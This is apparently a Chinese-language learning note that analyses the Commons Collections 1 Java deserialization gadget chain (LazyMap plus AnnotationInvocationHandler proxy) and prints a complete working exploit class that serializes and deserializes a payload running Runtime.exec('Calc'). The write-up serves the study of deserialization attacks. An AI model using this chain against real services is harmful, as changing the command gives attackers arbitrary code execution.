参考链接
https://y0n3er.github.io/undefined/36068.html
https://www.bilibili.com/video/BV1yP4y1p7N7/
攻击链分析
这里直接用ysoserial上的链子,和TransformedMap对比一下
可以看到,把TransformedMap改成LazyMap了,然后两个AnnotationInvacationHandler
下面分析一下gadget链子:
- InvokerTransformer.transform()能够执行命令
- LazyMap.get()能够调用xxx.transform(),xxx对象可控
- AnnotationInvocationHandler.invoke()调用了xxx.get(),xxx对象可控
- AnnotationInvocationHandler.readObject()调用了xxx.entrySet(),xxx可控制为代理对象
编写EXP
前面和TransformedMap一样,这里直接从LazyMap开始。
LazyMap.get()
get()里调用了factory.transform(key),用了ConstantTransformer辅助类,就不用管这个key参数
map和factory都是可以控制的,factory传那个chainedTransformer对象,map绕绕if判断就好
尝试构造EXP:
1 2 3 4 5 6 7 8 9 10 11
| Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}), new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class}, new Object[]{null,null}), new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"Calc"}) }; Transformer chainedTransformer = new ChainedTransformer(transformers); HashMap<Object,Object> hashMap = new HashMap<>(); hashMap.put("key","value"); Map lazyMap = (Map) LazyMap.decorate(hashMap,chainedTransformer); lazyMap.get("Jasper");
|
AnnotationInvocationHandler.invoke()
这个invoke()实际上就是动态代理用的,创建代理对象语句Proxy.newProxyInstance()的参数里如果传了这个AnnotationInvocationHandler的对象,创建出来的代理对象不管调什么方法都会走进invoke()方法。
memberValues也是可控的,这里要传LazyMap的对象lazymap
AnnotationInvocationHandler.readObject()
这里其实不一定要这个类,只要找到能控制传一个代理对象.方法()的类就行
上面知道这个memberValues是可控的,这里的我们传lazyMap对象的代理对象lazyMapProxy
lazyMapProxy.entrySet()就会走进上面的invoke()
最终EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63
| public class TestCC1 { public static void main(String[] args) throws Exception{
Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}), new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class}, new Object[]{null,null}), new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"Calc"}) }; Transformer chainedTransformer = new ChainedTransformer(transformers); HashMap<Object,Object> hashMap = new HashMap<>(); hashMap.put("key","value"); Map lazyMap = (Map) LazyMap.decorate(hashMap,chainedTransformer);
Class<?> aihClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor aihConstuctor = aihClass.getDeclaredConstructor(Class.class,Map.class); aihConstuctor.setAccessible(true); InvocationHandler aih = (InvocationHandler) aihConstuctor.newInstance(Override.class,lazyMap); Map lazyMapProxy = (Map) Proxy.newProxyInstance(lazyMap.getClass().getClassLoader(), lazyMap.getClass().getInterfaces(),aih);
InvocationHandler aih2 = (InvocationHandler) aihConstuctor.newInstance(Override.class,lazyMapProxy); serialize(aih2); unserialize(); }
public static void serialize(Object o) throws Exception{ FileOutputStream fos = new FileOutputStream("object.ser"); ObjectOutputStream os = new ObjectOutputStream(fos); os.writeObject(o);
System.out.println("序列化完成..."); }
public static void unserialize() throws Exception{ FileInputStream fis = new FileInputStream("object.ser"); ObjectInputStream ois = new ObjectInputStream(fis); Object o = ois.readObject(); ois.close(); fis.close();
System.out.println("反序列化完成..."); } }
|
小结
经过之前跟的链子,这条跟起来十分轻松,主要是学习动态代理花了不少时间,基础有点差。